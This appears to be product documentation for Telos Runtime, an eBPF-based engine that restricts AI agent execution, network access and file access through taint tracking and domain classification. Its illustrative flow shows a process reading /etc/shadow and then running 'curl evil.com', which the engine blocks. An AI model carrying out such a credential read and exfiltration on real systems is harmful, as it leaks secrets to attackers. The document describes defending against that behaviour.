Telos Runtime Overview

Intent-Based AI Security Engine

Telos Runtime enforces AI agent behavior through Natural Language Intent Declarations, eBPF-LSM syscall gates, and real-time Information Flow Control. It implements the Dual-Gate Architecture with cross-vector taint tracking.

---

Dual-Gate Architecture

Gate	LSM Hook	Purpose
Execution Gate	lsm/bprm_check_security	Only explicitly declared binaries are allowed to execute
Network Gate	lsm/socket_connect	Network access denied for tainted processes
File Gate	lsm/file_open	Dynamic taint elevation for sensitive file access

---

Information Flow Control (IFC)

When a process accesses a sensitive file (e.g., /etc/shadow), the eBPF hook elevates its taint level to TAINT_CRITICAL. This taint is irreversible for the lifetime of the process.

Network Slam: Any tainted process that attempts a network connection receives -EPERM. The data never leaves the machine.

Process reads /etc/shadow
  → eBPF elevates taint to CRITICAL
  → Process tries curl evil.com
  → lsm/socket_connect returns -EPERM
  → Network Slam: connection killed
  → Data exfiltration prevented

---

Domain Intelligence Engine

The Telos Cortex engine implements a 5-layer classification pipeline:

Layer	Classification	Technique
L0	Static Blocklist	Known malicious domains
L1	Typosquatting Detection	SymSpell O(1) edit distance
L2	Homoglyph Analysis	Unicode normalization and visual similarity
L3	Domain Reputation	Age, registrar, TLS certificate analysis
L4	AI Semantic Analysis	LLM-based intent evaluation (out-of-path)

The LLM evaluation at L4 operates entirely out-of-path. It never enters the kernel hot path. All ALLOW/DENY decisions are deterministic O(1) hash table lookups.